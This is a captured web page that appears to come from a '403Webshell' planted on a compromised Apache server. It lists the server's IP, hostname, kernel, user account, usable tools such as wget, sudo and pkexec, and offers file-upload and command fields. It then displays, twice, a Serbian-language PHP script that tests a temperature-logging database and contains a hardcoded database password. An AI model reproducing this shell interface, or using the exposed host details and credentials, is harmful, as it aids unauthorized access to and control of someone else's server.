403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/duskoftp/tempcontrol/debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/duskoftp/tempcontrol/debug/test_db.php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

define('DB_HOST', 'localhost');
define('DB_NAME', 'temperature_db');
define('DB_USER', 'temperature_user');
define('DB_PASS', 'secure_password_123');

echo "Test konekcije sa bazom...<br>\n";

try {
    $dsn = "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4";
    $pdo = new PDO($dsn, DB_USER, DB_PASS, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ]);

    echo "✅ Konekcija sa bazom USPELA!<br>\n";

    // Proverite tabelu
    $stmt = $pdo->query("SELECT COUNT(*) as count FROM temperature_logs");
    $result = $stmt->fetch();
    echo "✅ Broj zapisa u bazi: " . $result['count'] . "<br>\n";

    // Test INSERT
    $testInsert = $pdo->prepare("
        INSERT INTO temperature_logs
        (sensor_id, temperature, humidity, pressure, heating_command)
        VALUES (?, ?, ?, ?, ?)
    ");

    $success = $testInsert->execute(['test-sensor', 22.5, 45.0, 1013.25, 'off']);

    if ($success) {
        echo "✅ Test INSERT USPEO! ID: " . $pdo->lastInsertId() . "<br>\n";
    } else {
        echo "❌ Test INSERT FAILED!<br>\n";
        print_r($testInsert->errorInfo());
    }

} catch (PDOException $e) {
    echo "❌ Greška pri konekciji: " . $e->getMessage() . "<br>\n";
    echo "DSN: " . $dsn . "<br>\n";
    echo "User: " . DB_USER . "<br>\n";

    // Dodatna debug informacija
    echo "PHP Version: " . PHP_VERSION . "<br>\n";
    echo "PDO Drivers: " . implode(', ', PDO::getAvailableDrivers()) . "<br>\n";
}
?>
<?php
// test_db.php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

define('DB_HOST', 'localhost');
define('DB_NAME', 'temperature_db');
define('DB_USER', 'temperature_user');
define('DB_PASS', 'secure_password_123');

echo "Test konekcije sa bazom...<br>\n";

try {
    $dsn = "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4";
    $pdo = new PDO($dsn, DB_USER, DB_PASS, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ]);
    
    echo "✅ Konekcija sa bazom USPELA!<br>\n";
    
    // Proverite tabelu
    $stmt = $pdo->query("SELECT COUNT(*) as count FROM temperature_logs");
    $result = $stmt->fetch();
    echo "✅ Broj zapisa u bazi: " . $result['count'] . "<br>\n";
    
    // Test INSERT
    $testInsert = $pdo->prepare("
        INSERT INTO temperature_logs 
        (sensor_id, temperature, humidity, pressure, heating_command) 
        VALUES (?, ?, ?, ?, ?)
    ");
    
    $success = $testInsert->execute(['test-sensor', 22.5, 45.0, 1013.25, 'off']);
    
    if ($success) {
        echo "✅ Test INSERT USPEO! ID: " . $pdo->lastInsertId() . "<br>\n";
    } else {
        echo "❌ Test INSERT FAILED!<br>\n";
        print_r($testInsert->errorInfo());
    }
    
} catch (PDOException $e) {
    echo "❌ Greška pri konekciji: " . $e->getMessage() . "<br>\n";
    echo "DSN: " . $dsn . "<br>\n";
    echo "User: " . DB_USER . "<br>\n";
    
    // Dodatna debug informacija
    echo "PHP Version: " . PHP_VERSION . "<br>\n";
    echo "PDO Drivers: " . implode(', ', PDO::getAvailableDrivers()) . "<br>\n";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit